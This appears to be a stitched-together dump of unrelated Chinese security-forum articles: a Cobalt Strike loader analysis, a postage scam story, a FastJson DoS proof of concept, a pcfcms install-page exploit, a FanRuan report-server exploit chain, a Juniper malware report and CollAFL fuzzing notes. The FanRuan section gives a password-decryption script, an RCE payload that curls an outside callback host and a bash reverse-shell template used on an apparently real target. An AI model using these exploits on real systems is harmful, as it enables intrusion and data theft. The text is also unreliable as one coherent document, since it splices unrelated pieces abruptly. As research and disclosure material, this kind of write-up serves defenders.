然后根据导入地址表的地址，取其第一个成员的值，判断，如果首位为1，就是按照序号导入，首位如果为0，那么该地址就是存有名称的一个结构体，即上文的`_IMAGE_IMPORT_BY_NAME`
可以看到，KERNEL32.DLL是按照名称导入的，接着又一次进行了复制，把名称复制到了之前在文件尾部空的一块空间里。
最后通过`GetProcAdress`函数，（参数为模块基址和函数名）获取函数地址
然后存入到导入地址表对应的结构中，也就是`_IMAGE_THUNK_DATA` 的Function，至此这样一个函数就修复完毕
然后就是一顿循环
然后循环每个模块，依次修复导入表，然后返回
#### 2.7.2修复重定位表
进来就先经过一个跳来跳去又回来的call（跟刚刚一样对于理解整体脉络没啥意义的）
然后就进入了这个call，而刚进来这段就很敏感了，了解PE文件的童鞋肯定知道。之所以产生重定位的原因是因为，基址的随机化。
也就是说，当把PE文件直接加载到内存的时候，因为ImageBase更改了，所以，代码段中的很多偏移变调了，原本是相对于在文件里写死的Imagebase的，但是它变了，操作系统会自动帮助你修改这些偏移，而之所以会自动帮助你修改，是因为有重定位表。那么现在就要手动（代码）修改了
所以第一步先获取到imagebase的差值，以及重定位表的位置
关于重定位表，结构如下，这个表是个分成可变长度的块，每块的结构如下
第一个DWORD：基础地址
第二个DWORD：表大小
第三部分开始，每个WORD保存一个小地址
基础地址+小地址，构成了RVA ---> RVA + 模块基址 ----> VA
注意：这个VA指向的是偏移，也就是要更改的偏移，所以，找到这个偏移值，还有根据基址的变化，更改其值，才算是修复完成
补充一句：这些偏移值，就是那些call，jmp等指令跳来跳去用到的偏移。
然后做一些基础判断，数据目录中的重定位表的RVA和大小是否为0
然后就进入了关键环节
//[ebp-0x4] ---> 保存的是第一个重定位表的VA
024F8471 | 8B4D FC | mov ecx,dword ptr ss:[ebp-4] |
//[ebp+0x8] ---> 保存的是新区域的基址
024F8474 | 8B55 08 | mov edx,dword ptr ss:[ebp+8] |
//取当前重定位表里的大地址累加到模块基址上
024F8477 | 0311 | add edx,dword ptr ds:[ecx] |
024F8479 | 8955 F4 | mov dword ptr ss:[ebp-C],edx |
//取当前重定位表的块大小，减8 再除以2
//得到的就是当前表共计多少个小项（也就是偏移值的个数）
//保存在[ebp-0x10]
024F847C | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
024F847F | 8B48 04 | mov ecx,dword ptr ds:[eax+4] |
024F8482 | 83E9 08 | sub ecx,8 |
024F8485 | D1E9 | shr ecx,1 |
024F8487 | 894D F0 | mov dword ptr ss:[ebp-10],ecx |
//获取首个小地址的位置--> [ebp-8]
024F848A | 8B55 FC | mov edx,dword ptr ss:[ebp-4] |
024F848D | 83C2 08 | add edx,8 |
024F8490 | 8955 F8 | mov dword ptr ss:[ebp-8],edx |
//取出块个数，减一，接下来进入循环
024F8493 | 8B45 F0 | mov eax,dword ptr ss:[ebp-10] |
024F8496 | 8B4D F0 | mov ecx,dword ptr ss:[ebp-10] |
024F8499 | 83E9 01 | sub ecx,1 |
024F849C | 894D F0 | mov dword ptr ss:[ebp-10],ecx |
024F849F | 85C0 | test eax,eax |
对于重定位表中，每个小项的值是有约定的，两个字节共计16位，当高四位为0x3，也就是0011的时候，该值对应的才是实际地址。
后面的代码如下：
//取出小项然后右移0xc，也就是只剩下最高4位，然后跟F求与运算
//然后把ax移动到ecx，跟3比较
024F84A7 | 8B55 F8 | mov edx,dword ptr ss:[ebp-8] |
024F84AA | 66:8B02 | mov ax,word ptr ds:[edx] |
024F84AD | 66:C1E8 0C | shr ax,C |
024F84B1 | 66:83E0 0F | and ax,F |
024F84B5 | 0FB7C8 | movzx ecx,ax |
024F84B8 | 83F9 0A | cmp ecx,A | A:'\n'
024F84ED | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |
024F84F0 | 66:8B08 | mov cx,word ptr ds:[eax] |
024F84F3 | 66:C1E9 0C | shr cx,C |
024F84F7 | 66:83E1 0F | and cx,F |
024F84FB | 0FB7D1 | movzx edx,cx |
024F84FE | 83FA 03 | cmp edx,3 |
满足高四位为0x3，后12位就是小项对应地址值
然后就是根据偏移值和相对模块基址修改偏移：
**简单理解公式就是：
旧地址 - 旧基址 == 新地址 - 新基址
新地址 = 旧地址 - 旧基址 + 新基址**
其中，新基址 - 旧基址，就是我们前文求得并保存的
而通过重定位表找到的位置里就是旧地址，那么新地址自然轻松得到
//取出小项中的后12位
024F8503 | B8 FF0F0000 | mov eax,FFF |
024F8508 | 8B4D F8 | mov ecx,dword ptr ss:[ebp-8] |
024F850B | 66:2301 | and ax,word ptr ds:[ecx] |
024F850E | 0FB7D0 | movzx edx,ax |
//取出需要修改的偏移值
024F8511 | 8B45 F4 | mov eax,dword ptr ss:[ebp-C] |
024F8514 | 8B0C10 | mov ecx,dword ptr ds:[eax+edx] |
//跟差值累加得到新的地址
024F8517 | 034D EC | add ecx,dword ptr ss:[ebp-14] |
//修改对应位置为新的地址
024F851A | BA FF0F0000 | mov edx,FFF |
024F851F | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |
024F8522 | 66:2310 | and dx,word ptr ds:[eax] |
024F8525 | 0FB7D2 | movzx edx,dx |
024F8528 | 8B45 F4 | mov eax,dword ptr ss:[ebp-C] |
024F852B | 890C10 | mov dword ptr ds:[eax+edx],ecx |
接着又是一顿大循环，各种修改。
至此，重定位表修改完成。
### 2.8收尾
接着进入最后的收尾工作，先把之前保存在堆栈里的几个api的地址清空掉，也就是最开始莫名分配了好多空间的位置
找到原PE文件的入口点，在可选PE头的0x10位置，也就是OEP，并修改该新区域入口位置
最后传入三个参数，直接进入完全加载 到内存的pe文件中，开始执行。
## 3.收尾和总结
### 3.1关于第三段文件
当进入第三段文件执行的时候，就算是真正开始了远控文件的旅行，不过那是另一段旅程了，就不在这篇文章里写了（必经本篇篇幅已经好多）
但是，还是还是简单的把那个文件的一些分析写在下面。
考虑到已经进入一个远控软件的核心功能部分，按照我的想法，为了方便，还是把内存dump下来，通过静态和动态结合的方式来。因此，祭出Scylla。
首先运行到新内存区域入口处
然后点转储内存
选择所处模块的区域，转储PE，因为该修复的都修复了，所以直接转pe文件，也不同修复转储了。（后面的.mem文件要不要都无所谓了）
注意，这是一个DLL文件，所以保存为dll后缀（其实无妨，因为是为了静态分析）
通过下图判断是否为DLL文件
从微软官方文档对`IMAGE_FILE_HEADER`中成员`Characteristics`的描述，这1位表示的是否为dll文件
保存这个文件后，拖入IDA来看一下这个文件有哪些内容
因为逆起来太耗时间（其实是我能力还不够~），所以直接F5了，可以看到，映入眼帘的就是dll文件的入口函数。
fdwReason==1是进程启动的时候，也就是loadlibrary这个dll文件的时候，推测是做一些初始化的部分。就不进入看了
我们进入下面的 **sub_234131B()** 函数
这个函数是主要的执行函数，大概包括，定时，封包，发包，以及执行任务
这部分是准备内容，打开能看到一些缓冲区分配，处理数据包等
然后下面进入循环，处理数据包并执行任务
其中 **sub_2341F64()** 和 **sub_234257f()**
函数是设定http请求，以及发送http消息，应该是做服务端的回连，以及获取指令的。如图所示：
然后结果传入 **sub_2348393()** 函数，循环调用函数 **sub_2347E9E()** ，执行指令
**sub_2347E9E()** 这个函数是一个分派函数，不同指令分派给不同的函数执行，这应该就是远控的中枢部分，共计100多个case，可见cs的强大。
### 3.2小结
至此CS的上线之旅就结束了，其实cs的shellcode也是非常经典了。
从shellcode加载：
到最终远控文件加入内存并执行:
通过一路分析过来，可以看到，其中包含了PE，winAPI，加解密等零碎的知识（对于初入逆向的我来说，确实相当吃力<累瘫>），想必通过这部分细节的了解，后面对于免杀的思路也会有更多尝试的点。
因为整篇内容不少，难免会有一些小错误，还请各位师傅不吝赐，多指教。感谢~~ | 社区文章 |
# 200万人被骗，却无人报警！“火遍”朋友圈的骗局
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
听说节后
喃们都不想上班
纳？？尼？？
难道只有我
如此与众不同
可能是太想念大闸蟹了
集赞兑换小礼品、集赞领取大闸蟹、集赞免费听网课……朋友圈各种形式的“集赞”见惯不惯。不过，今天卫士妹要说的这个“集赞”，路数很深。
近日，不少网友在朋友圈中看到“识别二维码免费领取智能手环”的信息，声称仅需支付邮费就可以免费获得某知名品牌运动手环。
**这样的好事，是真的吗？免费赠送智能手环，是否属实？**
用户小王添加了陌生人好友，随后对方发来一个链接，清晰的标注着手环的品牌、功能、原价值、声明免费赠送，只需把微信二维码推送给朋友，就可以免费领取，小王十分心动。
链接的最下方，写着邮费自付。小王转发二维码并填写了收货地址，等待收货。
收到货的小王打开包装一看，这哪是华为手环，粗制滥造明显就是假货，意识到被骗了。
“29块钱也没多少，也是自己图便宜没想那么多，就把它放那里了。 ”
**无独有偶，像小王一样被骗的用户还有很多。因被骗金额不大，多数抱着吃哑巴亏的想法，不愿意报警而不了了之。**
****
朋友圈中大量的转发引起了警方的注意，经调查发现，这起案件中的被害人竟然高达上百万！这些受害用户被骗后几乎无人报案，也就助长了犯罪分子嚣张的气焰！
快递发到用户的手中后，用户要支付29元的邮资，邮资由物流和快递公司进行代收，收完后扣取物流费按每周结算返给公司，骗子按照比例分赃。
假冒的手环成本是1.78元，从网上买来的加上运费合到2元钱左右，物流费大概是3.2–3.8元左右，整个提成以5元进行计算， **成本费用仅
10块钱左右！**
****
**网上 “免费领取商品、邮费到付”的类似案例有很多，手法大多如下：**
****
**** | 社区文章 |
# FastJson拒绝服务漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者:fnmsd[@360](https://github.com/360 "@360")云安全
## 前言
从[@badcode](https://github.com/badcode
"@badcode")师傅那里知道了这么漏洞，尝试着分析复现一下，影响范围fastjson<=1.2.59。
感谢[@pyn3rd](https://github.com/pyn3rd "@pyn3rd")师傅对OOM机制的讲解。
该漏洞会导致java进程的占用内存迅速涨到JVM允许的最大值（-Xmx参数，默认为1/4物理内存大小），并且CPU飙升。
该漏洞并不能直接打挂java进程，但是可能由于java进程占用内存过大，导致被系统的OOM Killer杀掉。
## 补丁
github上的diff：
scanString针对JSON中x字符的处理，加入了判断后两个字符是否为hex字符，不为hex字符，直接退出。
还有isEOF方法也进行了逻辑完善。
## 测试代码
简化了一下，原版的可以看引用里的链接：
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONException;
public class fastjsonDos {
public static void main(String[] args){
//{"a":"x
//漏洞是由于fastjson处理字符串中x这种HEX字符表示形式出现的问题。
String DEATH_STRING = "{"a":"\x";//输入字符串长度为8
try{
Object obj = JSON.parse(DEATH_STRING);
System.out.println(obj);
}catch (JSONException ex){
System.out.println(ex);
}
}
}
使用fastjson 1.2.59+jdk8u20，测试机内存20GB。
## 整体流程分析
根据补丁可以看出，是对JSONLexerBase类中ScanString方法的switch中的case
‘x’分支进行了修改(x这种Hex字符的处理部分)，所以在1.2.59的该部分进行下断点。
跟入next方法，到了JSONScanner类的next方法：
可以看到逻辑，会对bp进行+1操作并赋给index，如果index>=this.len(JSON的长度)就会返回EOI，否则返回文本内容。
EOI=0x1A
回到scanString函数，经过了两次next,bp已经为9，而输入的字符串长度为8。
继续往下走，跟入putChar函数：
如果sp与sbuf数组长度相等，就扩张sbuf数组长度（大小翻倍，所以看起来OOM的位置应该就在这）
回到scanString中，继续往下走，发现回到了scanString的开头，刚才的代码部分都是在一个死循环当中：
由于此时bp已经大于输入的字符串长度，此时next()会返回EOI(0x1A)不等于双引号，并进入到ch==EOI的分支中，跟入isEOF函数：
`bp==len`和`ch==EOI&&bp+1==len`认为是EOF，但此时bp=10
len=8，后面再调用next方法bp只可能更大，永远不满足isEOF的条件，所以上面的`putChar(EOI)`会无限的执行，sBuf不断扩大，直到OOM。
emm，但是实际测试的时候还是有点差别的。
## 单线程运行没OOM异常
首次运行代码很快就报了这么一个异常：
NegativeArraySizeException，数组长度为负值异常,并没有OOM。
在idea中下了一个异常断点到NegativeArraySizeException上,断点断在了putChar数组空间扩展的位置：
此时sbuf的长度为1073741824（1G的大小），而sbuf.length的类型为int型，int型最大为2147483647。
而1073741824×2= 2147483648，正好大1，所以下溢出了：
此时内存占用3.3GB左右。
通过多方查询，java的默认最大允许内存最大物理内存的1/4，我这应该就是5GB左右，此时还没有到OOM的标准，反而由于下溢出先触发了NegativeArraySizeException这个异常。
## 多线程运行触发OOM
既然单的不行就来个多的，稍微改下代码，改个多线程的：
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONException;
public class fastjsonDos1 implements Runnable{
public static void main(String[] args) {
new Thread(new fastjsonDos1()).start();
new Thread(new fastjsonDos1()).start();
// new Thread(new fastjsonDos1()).start();
// new Thread(new fastjsonDos1()).start();
// new Thread(new fastjsonDos1()).start();
}
public void run() {
String DEATH_STRING = "{"a":"\x";
try{
Object obj = JSON.parse(DEATH_STRING);
System.out.println(obj);
}catch (JSONException ex){
System.out.println(ex);
}
}
}
我的测试机20GB内存两个线程就OOM了：
可以看到Thread1先OOM，Thread0缺依然是下溢出问题，所以虽然线程OOM了，java进程并没有挂掉。
写了一个简单的SpringBoot应用做测试，使用burp以10线程进行访问，可以发现虽然一直报OOM异常，但是java进程却没有挂掉，内存最后稳定在4GB多（略小于-Xmx）使不再触发漏洞，占用内存也不会再减小。
顺便CPU飙升：
有想做实验的朋友可以尝试着将运行java的-Xmx参数改的大大，然后再运行感受一下。（老实人的微笑）
## 有关OOM
Java的OutOfMemoryError是JVM内部的异常，是一个可捕获异常，并不会直接导致java进程被Kill掉，顶多线程挂掉。
Linux下当应用程序内存超出内存上限时，会触发OOM
Killer机制以保持系统空间正常运行，哪个进程被点名Kill是通过linux/mm/oom_kill.c中oom_badness进行算分选择的，并且可以通过设定oom_adj
来调节其被Kill的可能性。
所以，java默认最大1/4物理内存占用，不太容易造成系统的OOM的（当然你系统里其他的进程是吃内存怪当我没说）。
但是很多关于java OOM异常的解决文章中建议将最大值改为不超过物理内存的80%，此时就有可能造成内存占用过多，导致被系统Kill掉。
## 参考
<https://github.com/alibaba/fastjson/commit/995845170527221ca0293cf290e33a7d6cb52bf7#diff-aa8d9d6e56964418428ff59fb887afae>
<https://github.com/alibaba/fastjson/commit/80b7b1e6d57a722f7cca549540394c3072ad8ecb>
<https://github.com/Omega-Ariston/fastjson/blob/b44900e5cc2a0212992fd7f8f0b1285ba77bb35d/src/test/java/com/alibaba/json/bvt/issue_2600/Issue2689.java>
<https://blog.csdn.net/liukuan73/article/details/43238623> | 社区文章 |
# pcfcms安装页面的一处意料之外的变量注入可导致网站瘫痪
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
在代码审计环节当中，本人偏向于先审计网站安装文件，因为在这里涉及了很多对数据库的操作，如果在网站安装完后没有删除安装文件，或者对网站安装页面访问的限制不够严谨，就会导致产生恶意访问的情况，轻则数据被篡改，重则被重装，注入
近期在php代码审计过程当中发现了pcfcms在install文件中有一处判断过滤不严谨的地方，可导致恶意入侵者篡改本不应该运行的安装过程中的数据，最后造成网站瘫痪
* * *
**实验环境：**
wampserver3.1.7 64bit
phpversion:7.2.14
MySQL:5.7.24
Apache:2.4.37
url::<http://127.0.0.4/pcfcms/>
pcfcms:V2.1.1
pcfcms纯净版下载地址：
<http://www.pcfcms.com/>
这里需要注意，php版本需要高于7.1且php的上传限制要大于8M,否则安装页面会报错
## pcfcms介绍：
PCFCMS是基于TP6.0框架为核心开发的免费+开源的企业内容管理系统，专注企业建站用户需求提供海量各行业模板，降低中小企业网站建设、网络营销成本，致力于打造用户舒适的建站体验。
## 代码分析：
首先进入程序安装页面<http://127.0.0.4/pcfcms/install/index.php>
然后按照步骤配置好后安装成功
当出现这个提示说明安装成功
安装成功后再次访问该文件会提示
总结这个安装过程中需要手动输入的有数据库信息，管理员账号密码，看一下/install目录下的情况
(请忽略exp.txt文件)可以看出增加了install.lock文件，但是安装页面并没有被删除，进入index.php文件内开始审计
这里注意代码的37行-43行
`if($get!='step5-1'){....程序已安装...
};`
在之前对$get变量有个定义
`$get=@$_GET['type']?$_GET['type']:$config['indexpage'];`
也就是说，$get就是我们用户以get方式向服务器提交的参数，如果我们get的不是type=step5-1，那么程序会对install.lock文件做个判定，这里的step1到step5就是程序进行配置$config和$db_config的步骤
尝试get方式提交type=step5-1
(这里要注意当安装完成后要清除cookie,否则访问无效)
可以看到，当type=step5-1时，成功绕过了install.lock的文件检测，追踪两项关于账户密码的报错：
/step5-1.html文件第十五行，调用了php代码分别输出$_SESSION[‘adminaccount’]和$_SESSION[‘admin_password’];回头来看index.php中哪里定义了这两个数据：
可以看到，在148与149行，当满足if语句$_POST[‘type’]==’3’时，程序会接收来自post方式上传的账号密码，再来追踪$_POST[‘admin_account’]和$_POST[‘admin_password’]
在157和160行内，程序会直接接收用户post的账户密码，并在161行生成插入数据库的语句，并在接下来的语句中进行插入，但是，我们只上传了账户密码，数据库配置需要满足
if ($get == $config[‘importPage’])，
所以此时的数据库内容为空，但是进行强行插入的话就会导致数据库内容无法连接，如果访问者post了admin_account=”任意值”,并且符合条件type=step5-1，程序则会向错误的数据库插入数据，最后导致网站无法连接致正确的数据库，攻击产生
## 漏洞利用过程：
访问页面
<http://127.0.0.4/pcfcms/public/install/index.php?type=step5-1>
post数据：type=3&admin_account=123&admin_password=123
刷新页面：
访问主页：
修补建议：
安装完成后不建议保留安装文件 | 社区文章 |
## 前言
看到某区发现帆软的组合漏洞文章，突然想起自己最近也挖到类似的，拿出来分享一下。
## 资产发现
首先是信息收集子域名，谷歌语句直接`site:xxx.com -www`,一个登录口网站吸引了我的注意力。
我点击电信、网通、自动的时候，发现域名跳转到了真实IP
这样，就可以对真实IP进行端口扫描->目录扫描一把梭了，发现在8080端口发现ReportServe部署页面。
接着就对帆软的历史漏洞进行测试了。
## 任意文件读取获取密码解密登录后台
`view-source:http://xxx.xxx.xxx.xxx:8080/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml`
刚开始的时候是空白页，查看源代码才发现信息
可以看到用户为posun,密码需要解密一下
解密脚本：
cipher = '___0022007c0039003b005100e3' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)
解密得到123456，问题是拿到哪里登录呢，突然想到刚才有个数据决策系统，拿去登录刚才的数据决策系统.
成功进入后台，然而高兴的太早了,因为该站长注册码到期了，且没有什么敏感信息。SRC也是反馈危害性不大，不能收，没办法，只能另寻途径了。
## 帆软报表FineRePort未授权远程命令执行漏洞
看到去年的帆软还存在个未授权命令执行漏洞，搜了一下poc,发现在github有,
* <https://github.com/ffffffff0x/1earn/blob/0583f77f62d63f93b1c519efc57327003feec4ed/1earn/Security/RedTeam/Web%E5%AE%89%E5%85%A8/BS-Exploits.md#%E5%B8%86%E8%BD%AF>
* 影响版本:
* 帆软报表 FineRePortv8.0
* 帆软报表 FineRePortv9.0
xxx.com/WebReport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin
这个接口 打开 点查询 burp拦截数据包 替换post的内容
__parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl http://uki7s7.ceye.io');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}
便操作了一下,前提是需要得知用户名
漏洞地址：`http://xxx.xxx.xxx.xxx:8080/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=posun`,这里需要把username改为刚刚的用户名。
点击查询抓包改包，这里先是简单的ceye回显，改包后一直forward
可以看到，我的ceye收到回显，说明该漏洞是存在的，为了证明危害性，我后面继续了反弹shell操作
bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
VPS监听7777端口，如图下 反弹shell成功
备注:刚开始对面审核SRC愣是死活复现不出来,手把手教学了,这里有几个问题注意下,查询不能太频繁 容易并发数满,需要等一段时间,我后面第二天并发数才清空.
## 总结
* 多观察细节,比如刚刚的真实IP就冒出来了
* 遇到危害性不大漏洞不要慌,留着还能组合其它的漏洞. | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns>**
### 前言
Juniper Threat Labs发现了几个依赖于pastebin-like服务的恶意软件活动。有问题的domain是paste.nrecom.net。
这些攻击通常以网络钓鱼电子邮件开始，当用户被诱骗执行恶意软件时，它会在不写入磁盘的情况下，从paste.nrecom.net将其加载到内存中。为恶意软件基础设施使用合法的web服务并不是什么新鲜事，正如我们看到的APT
group
FIN6使用pastebin来托管感染链的一部分，rock使用它来进行命令和控制。虽然使用合法的web服务并不新奇，但这是我们第一次看到攻击者使用paste.nrecom.net。我们发现的恶意软件包括Agentsela、LimeRAT、Ransomware和Redline
Stealer。
### 什么是paste.nrecom.net？
paste.nrecom自2014年5月开始投入使用。pastebin是一种可以发布代码或文本数据并与他人共享的服务。paste.nrecom做同样的事情，它还提供了一个允许编写脚本的API。这对攻击者是有利的，因为他们可以轻松地以编程方式插入和更新数据。该服务由Stikked提供支持，Stikked是一个基于PHP的开源pastebin。
### 攻击者怎么进行恶意攻击？
因为它是一个纯文本的服务，人们会认为它不能在其中托管可执行文件（二进制数据）。但是，二进制数据可以通过简单的编码来表示为文本文件。常用的编码方法是使用base64。
以base64编码的恶意粘贴。
为了增加另一层混淆，它们使用XOR密钥对二进制数据进行加密。例如，以下文件使用XOR密钥0x02加密。
经过base64解码后，仍使用XOR算法对文件进行加密。
完成所有必要的解码和解密后，可以看到可执行文件，如上所示。
从2020年9月21日开始，我们已经看到几个恶意软件家族利用这项服务迅速发展。
### 恶意软件活动
攻击通常以包含附件（例如文档，存档或可执行文件）的网络钓鱼电子邮件开始。当用户被诱骗安装恶意附件时（第一阶段），它将从paste.nrecom.net下载下一阶段。我们还看到恶意软件在同一服务中托管其配置数据。
#### Agent Tesla
Agent
Tesla是一种间谍软件，它能够从Web浏览器，邮件客户端和FTP服务器窃取个人数据。它还可以收集屏幕截图，视频并捕获剪贴板数据。该恶意软件的最新版本还能够从VPN客户端窃取个人数据。它在地下市场的售价低至15美元，根据附加功能可能会升至70美元。
Agent
Tesla是使用这种类似pastebin的服务中最活跃的恶意软件之一。广告系列通常从带有恶意附件的网络钓鱼电子邮件开始。根据我们发现的样本，这些活动针对与航运，供应链和银行相关的多个行业。在某些情况下，附件是归档文件，例如.iso，.rar或.uue，如下所示：
从链中可以看到，有两个paste.nrecom请求，因为它会将Agent
Tesla的有效负载分为两个。第一个请求是文件的前半部分，第二个请求是文件的后半部分。此技术使安全解决方案难以分析有效负载。
以下是一些电子邮件附件和一些电子邮件附件中的文件，我们发现这些电子邮件附件是使用paste.nrecom安装Agent Tesla的。
在某些情况下，附件是下载Agent Tesla加载程序的Office文档。
#### W3Cryptolocker勒索软件
W3Cryptolocker是一个相对较新的勒索软件。该勒索软件于2020年7月出现。根据其代码中的字符串，我们将该恶意软件称为W3Cryptolocker。
该加载程序托管在一个可能被黑客入侵的网站italake.com上。
它将加密所有驱动器中的所有文件，但扩展名为“ .xls”的文件和具有以下字符串的文件夹除外：
* Windows
* ProgramData
* $Recycle.bin
* System Volume Information
它为加密文件添加了扩展名.xls。对每个文件夹进行加密后，它将在每个文件夹上创建一个“ Read_Me.txt”文件，并显示以下消息。
访问`https://yip[.]su/2QstD5`会将您带到一个Freshdesk支持站点bit7.freshdesk.com。
其他W3Cryptolocker样本
* c97852b425e41d384227124d93baf6c2d3e30b52295a828b1eac41dc0df94d29
* 9a0af98d0b8f7eacc3fdd582bbc0d4199825e01eeb20c2a6f98023c33ece74f6
* 01eea2a4628c6b27a5249a08152655246871acafa657e391b73444c05097976e
* 9a08e87e8063b13546e464f73e87b2ca5bde9410fec4e614313e2b8a497592fa
* 8dfe87850bd17b4eb0169b85b75b5f104ae6b84deeb2c81fe6ae5e19685f6c66
* 53124033d521158771eac79ad6f489c6fdd5b25ab96712035c2ca65b3a3c5eed
* aac2024789ffd2bfce97d6a509136ecf7c43b18c2a83280b596e62d988cedb10
* fafabdffa67883587ba1a3c29f6345a378254f720efe8c2f318a4d5acdbce373
#### Redline Stealer
Redline
Stealer是一种恶意软件，于2020年3月左右出现，据报道它针对美国的医疗保健和制造业。该恶意软件被发现在论坛上投放广告，并提供多种定价选项，起价为100美元/月。它具有以下功能：
* Browser Data Stealer
* Login and Passwords
* Cookies
* Autocomplete Fields
* Credit Cards
* Remote Task Functions
* Execute Commands
* Download Files
* Download Files and Execute
* RunPE (Process Injection for fileless infection)
* OpenLink
* FTP and IM client stealer
* File-grabber
* Collects information about the victim’s system
我们发现的样本是将比特币矿工存档到RAR文件中。该档案文件包含一个可执行文件MinerBitcoin.exe，该文件可从paste.nrecom.net下载Redline
Stealer有效负载。
#### LimeRAT
LimeRAT是用.NET编码的远程管理木马，并且是开源的。它是APT-C-36小组用来针对哥伦比亚政府机构的恶意软件。它可以用作：
* Ransomware
* Remote Desktop
* Crypto Mining
* CryptoStealer
* DDOS
* Keylogger
* Password Stealer
我们发现的另一个示例是aae2e0d0792e22164b3c81d0051c5f94a293bae69e7aac5cc4ad035860dbf802。在进行此分析时，该样本仍具有零VT检测。它从`https://paste[.]nrecom[.]net/view/raw/93a7cd20`下载LimeRAT。
### 结论
使用恶意软件基础结构的合法Web服务（例如pastebin或paste.nrecom）为网络犯罪分子提供了一个优势，因为这些服务由于其合法使用而无法轻易删除。我们建议安全操作部门将paste.nrecom添加到可能出于恶意目的而滥用的Web服务中。建议监视此类服务，以检查可疑内容，特别是以base64编码的二进制数据。
### IOC
#### Domain
Paste.nrecom.net
192.12.66.108（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=192.12.66.108
"ZoomEye搜索结果")）
lol.thezone.vip
* * * | 社区文章 |
# 《CollAFL - Path Sensitive Fuzzing》论文笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
现有 fuzz 大多以代码覆盖率为引导指标。以AFL为例，它使用 **映射至 hashmap 中的基于 edge 的覆盖率信息**
来引导测试。这种覆盖率信息不太准确，因为 **只统计至 edge 层面** ，同时还会 **产生覆盖 hash 冲突**
，丢失覆盖率信息，给模糊测试带来一些不良限制。
这篇论文提出了一个新的方式，来达到以下三个目的：
* 提供 **更准确的覆盖信息**
* **缓解** 路径冲突
* 保持 **较低检测开销**
同时，该论文还利用覆盖率信息，提出了 **三种新的模糊测试策略** ，加快了发现新路径和漏洞的速度。
下图是一个完整 fuzz 的工作流程，其中黄色标注部分为论文所提出的 **重点思路** ：
## 二、降低哈希碰撞策略
### 1\. 覆盖粒度
覆盖粒度大体上可分为三类：
* block coverage，块覆盖
* edge coverage，边覆盖
* path coverage，路径覆盖
每种粒度各有利弊：
* 块覆盖：跟踪每个块的命中次数，但 **不跟踪块的执行顺序** 。
* 边覆盖：与块覆盖不同，它将 **跟踪两个块之间的执行顺序** 。同时，还跟踪每条边的命中次数，但 **不跟踪边的执行顺序** 。
* 路径覆盖：跟踪 **边的执行顺序** ，提供最完整的覆盖信息。但是，受限于 **路径长度** 和 **路径数量** 的规模之大，跟踪路径覆盖信息将会导致开销非常高，因此不具有可行性。
综上，边覆盖信息在 **可行性** 与 **覆盖信息** 之间做了一个折中。但以 AFL
为例，边覆盖信息仍然可能会受到哈希碰撞的影响而导致信息丢失。即便提高 bitmap 的大小，但这仍然无法避免哈希碰撞，并且会对 AFL
的运行带来严重性能开销（因为 AFL 会经常遍历 bitmap 以获取新的覆盖率信息）。
因此接下来将说明 CollAFL 的做法，它将降低哈希碰撞问题发生的影响。
### 2\. 降低哈希碰撞
先简单回忆一下 AFL 的 hash 计算方式：$cur \oplus (prev>>1)$。
> 其中 cur 和 prev 为当前和上一个基础块的 ID。
>
> 对 prev 做了一个右移操作是为了区分开基础块 A->B 和 B->A 的差别。
>
> 具体的内容可以看看我之前做的笔记 [AFL的LLVM_Mode](https://kiprey.github.io/2020/07/AFL-LLVM-> Mode)。
而 CollAFL 在原先 AFL 的 hash 计算方式上做了一些改进，它插入了一个三元组 **(x,y,z)** 作为 hash 计算参数（下称
**参数** ）。
边 A-> B 的 hash 计算方程为：$Fmul(cur, prev) = (cur >> x) \oplus (prev >> y) + z$。
> 其中 AFL hash algorithm 是 (x=0,y=1,z=0) 的一个特例。
>
> 从这也可以看出，Fmul 的计算开销与 AFL 差不多。
>
> 需要注意的是，CollAFL 为每个 **基本块** 来选择参数，而不是为边选择参数。
CollAFL 将通过调整参数，来 **确保每个通过 Fmul 方程计算出的边的 hash 是不同的** 。若每个基本块中使用的参数均可以使得每条边的
hash 不同，那么就可以解决 hash 碰撞问题。
但需要注意的是，由于应用程序的基本块过多，因此 **无法遍历全部的基本块** ，同时也 **无法遍历全部的参数** 。因此实际上 CollAFL
在这个方程的基础之上又做了一些改进，根据以下几种不同的情况，来分别进行不同的操作，以降低 hash 碰撞的概率。
#### a. 基本块有多个前驱基本块
##### 1) CalcFmul
初始时，CollAFL 将使用上述 Fmul 方程，动态计算入边的 hash。以下是 collAFL 贪心搜索合适的参数以计算 Fmul 方程的算法：
输入参数是
* 具有多个前驱基本块的目标基本块集合
* 基本块与基本块 ID 的映射关系
* 每个目标基本块的前驱基本块集合
如果部分基本块，在有限的 xyz 参数集合中无法找到 **不会哈希碰撞的参数** 后，那么该基本块将被放入 Unsolve
集合中；如果能搜索到合适的参数，则目标基本块将放入 Solve 集合中，且搜索到的参数放入 Params 映射里。
